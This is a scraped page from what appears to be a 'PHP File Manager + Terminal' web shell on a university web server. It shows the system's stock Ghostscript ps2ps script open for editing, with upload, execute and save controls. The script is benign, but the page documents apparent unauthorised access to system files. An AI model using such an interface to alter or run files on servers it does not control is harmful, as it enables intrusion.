Looking for something? Use OneSearch!

PHP File Manager + Terminal

Server: www.bmcc.cuny.edu
Software: Apache/2.4.62 (Debian)

Current directory: //usr/bin

Upload

Create File

Create Folder

Execute

Editing: /usr/bin/ps2ps

#!/bin/sh # "Distill" PostScript. # This definition is changed on install to match the # executable name set in the makefile GS_EXECUTABLE=gs gs="`dirname \"$0\"`/$GS_EXECUTABLE" if test ! -x "$gs"; then gs="$GS_EXECUTABLE" fi GS_EXECUTABLE="$gs" OPTIONS="-P- -dSAFER" while true do case "$1" in -?*) OPTIONS="$OPTIONS $1" ;; *) break ;; esac shift done if [ $# -ne 2 ]; then echo "Usage: `basename \"$0\"` [options] input.ps output.ps" 1>&2 echo " e.g. `basename \"$0\"` -sPAPERSIZE=a4 input.ps output.ps" 1>&2 exit 1 fi exec "$GS_EXECUTABLE" -q -sDEVICE=ps2write -sstdout=%stderr "-sOutputFile=$2" -dNOPAUSE -dBATCH $OPTIONS "$1"
Save